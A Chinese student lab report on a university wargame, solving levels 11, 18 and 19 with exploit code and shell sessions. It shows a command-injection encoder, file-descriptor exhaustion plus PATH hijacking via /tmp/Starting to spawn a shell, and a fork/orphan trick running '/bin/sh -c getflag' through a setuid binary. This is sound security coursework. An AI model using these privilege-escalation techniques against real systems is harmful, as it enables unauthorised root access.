《网络攻防实战》实验报告

第 7 次实验： WARGAME

姓名： 罗嘉璐

学号： 211220047

21 级 计算机科学与技术 系

邮箱： 211220047@smail.nju.edu.cn

时间：2023.11.19

一、实验目的

获得 11，18，19 关的 flag。

二、实验内容

Level11:

观察代码发现 process 函数是一个简单的解密函数，先输入一个整数，如果小于 1024，调用 fread()，大于或等于 1024，打开一个文件描述符，把内容复制到这个文件中，执行 process() 函数

解密脚本：

```
level11@n
File  Actions  Edit  View  Help
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    int length = 1024;
    char buffer[1024];
    unsigned int key;
    int i;

    if(argc != 2)
        return EXIT_FAILURE;

    strncpy(buffer, argv[1], 1024);

    key = length & 0xff;
    for(i = 0; i < length; i++) {
        buffer[i] ^= key;
        key -= buffer[i] ^ key;
    }

    puts("Content-Length: 1024");
    fwrite(buffer, 1, length, stdout);

    return EXIT_SUCCESS;
}
```

```
level11@njucs-wargame:~$ vim pwn.c
level11@njucs-wargame:~$ make pwn
cc      pwn.c    -o pwn
level11@njucs-wargame:~$ export TEMP=/tmp
level11@njucs-wargame:~$ ./pwn getflag | ~flag11/flag11
blue = 1024, length = 1024, pink = 1024
sh: getflag: command not found
level11@njucs-wargame:~$ ./pwn /bin/getflag11 | ~flag11/flag11
blue = 1024, length = 1024, pink = 1024
Congratulation! The flag is exec-vuln
```

Level18:

分析代码，如果 fopen 打开失败，会登录用户。尝试删除密码文件，但是无法删除。

为了让 fopen 失败，还可以耗尽文件描述符，密码文件无法分配到文件描述符。

首先看一个进程可以打开多少个文件描述符，一共 1024 个文件描述符。

```
/flag18 -v -d /tmp/log
level18@njucs-wargame:/home/flag18$ ulimit -a
core file size          (blocks, -c) 0
data seg size           (kbytes, -d) unlimited
scheduling priority             (-e) 0
file size               (blocks, -f) unlimited
pending signals                 (-i) 3658
max locked memory       (kbytes, -l) 64
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1024
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 3658
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited
```

编写代码：

echo "`python -c 'print("login me\n"*1021 + "shell")'`" | /home/flag18/flag18 -v -d /tmp/log

出现了报错信息

```
/tmp/log: line 2: logged in successfully (without password file)
level18@njucs-wargame:/home/flag18$ echo "`python -c 'print("login me\n"*1021 + "shell")'`" | /home/fl
ag18/flag18 -v -d /tmp/log
/home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object
file: Error 24
```

关闭日志文件，释放其文件描述符

echo "`python -c 'print("login me\n"*1021 + "closelog\n" + "shell")'`" | /home/flag18/flag18 -v -d /tmp/log

```
file: Error 24
level18@njucs-wargame:/home/flag18$ echo "`python -c 'print("login me\n"*1021 + "closelog\n" + "shell"
)'`" | /home/flag18/flag18 -v -d /tmp/log
/home/flag18/flag18: -d: invalid option
Usage:  /home/flag18/flag18 [GNU long option] [option] ...
        /home/flag18/flag18 [GNU long option] [option] script-file ...
GNU long options:
        --debug
        --debugger
        --dump-po-strings
        --dump-strings
        --help
        --init-file
        --login
        --noediting
        --noprofile
        --norc
        --posix
        --protected
        --rcfile
        --restricted
        --verbose
        --version
Shell options:
        -irsD or -c command or -O shopt_option          (invocation only)
        -abefhkmnptuvxBCHP or -o option
```

--rcfile 选项可以强制 Bash 从文件而不是~/.bashrc 中读取和执行命令

echo "`python -c 'print("login me\n"*1021 + "closelog\n" + "shell")'`" | /home/flag18/flag18 --rcfile -d /tmp/log

```
level18@njucs-wargame:/home/flag18$ echo "`python -c 'print("login me\n"*1021 + "closelog\n" + "shell"
)'`" | /home/flag18/flag18 --rcfile -d /tmp/log
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
/tmp/log: line 1: Starting: command not found
/tmp/log: line 2: syntax error near unexpected token `('
/tmp/log: line 2: `logged in successfully (without password file)'
```

需要调用可执行文件。成功获得 flag。

```
level18@njucs-wargame:/home/flag18$ echo "getflag18" > /tmp/Starting
level18@njucs-wargame:/home/flag18$ chmod +x /tmp/Starting
level18@njucs-wargame:/home/flag18$ export PATH=/tmp:$PATH
level18@njucs-wargame:/home/flag18$ echo "`python -c 'print("login me\n"*1021 + "closelog\n" + "shell"
)'`" | /home/flag18/flag18 --rcfile -d /tmp/log
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
Congratulation! The flag is level18-vuln
/tmp/log: line 2: syntax error near unexpected token `('
/tmp/log: line 2: `logged in successfully (without password file)'
level18@njucs-wargame:/home/flag18$
```

Level19:

读代码，发现首先用 getpid()获得父进程的 pid，然后根据这个 pid 找到文件，如果是 root 里面的就执行 shell。

渗透代码如下：

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main()
{
   pid_t pid;
   pid = fork();
   char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19_output",NULL};     //将 getflag 的内容重定向到/tmp/flag19_output 中

   if(pid == 0) //如果 pid==0，则是子进程
      {
         execve("/home/flag19/flag19",argvs,NULL);
      }else if(pid > 0){    //返回给父进程时，直接结束父进程，子进程就成了孤儿进程了
      exit(0);
   }
   return 0;
}
```

```
level19@njucs-wargame:~$ gcc -o /tmp/level19 /tmp/level19.c
level19@njucs-wargame:~$ /tmp/level19
level19@njucs-wargame:~$ cat /tmp/flag19_output
Congratulation! The flag is break-process
```